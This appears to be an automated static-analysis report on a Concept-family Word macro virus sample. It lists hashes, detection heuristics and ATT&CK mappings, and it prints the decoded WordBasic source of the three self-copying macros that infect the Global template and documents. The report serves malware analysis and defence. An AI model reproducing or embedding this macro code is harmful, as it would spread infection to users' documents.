Concept — Office (OLE) malware analysis

Static analysis result for SHA-256 cb8c86f2abdc5b8c…

MALICIOUS

Office (OLE)

37.0 KB Created: 1999-07-06 08:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b55aabf595cff1f07ae1318194624ff0 SHA-1: 240896b0c5649213c88615997662cb4cf8d0c6e9 SHA-256: cb8c86f2abdc5b8ca7294f8e84a0e1a3dbcd54027f9e3de7394e74f85f913415
140 Risk Score

Malware Insights

Concept · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as 'Doc.Trojan.Concept-28' by ClamAV, indicating it belongs to the Concept virus family. The presence of an AutoOpen macro and the VBA code within the 'macros.bas' script confirms the use of legacy WordBasic macros. The script's logic involves copying itself to global templates like 'Global:AutoOpen', 'Global:JJAO', and 'Global:JJAB', which is a common propagation technique for this family, effectively establishing persistence and spreading to other documents.

Heuristics 4

  • ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Concept-28
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1700 bytes
SHA-256: acfded895dc5d7dec70be5da790d3185ebe2af7a68815ff155d8f1f6fe21a511
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:AutoOpen"
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:JJAO"
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy sTMacro$, "Global:JJAB"
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus World created (c) 1996 by Ahmad Zakhri", -8
End Sub

Attribute VB_Name = "JJAB"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:AutoOpen"
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy sTMacro$, "Global:JJAO"
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy sTMacro$, "Global:JJAB"
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus World created (c) 1996 by Ahmad Zakhri", -8
End Sub

Attribute VB_Name = "JJAO"

Public Sub MAIN()
Dim sMe$
Dim sTMacro$
sMe$ = WordBasic.[FileName$]()
WordBasic.FileSaveAs Name:=sMe$, Format:=1
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:JJAB", sTMacro$
sTMacro$ = sMe$ + ":JJAB"
WordBasic.MacroCopy "Global:JJAB", sTMacro$
sTMacro$ = sMe$ + ":JJAO"
WordBasic.MacroCopy "Global:JJAO", sTMacro$
WordBasic.FileSaveAll 1, 1
WordBasic.MsgBox "Virus World created (c) 1996 by Ahmad Zakhri", -8
End Sub

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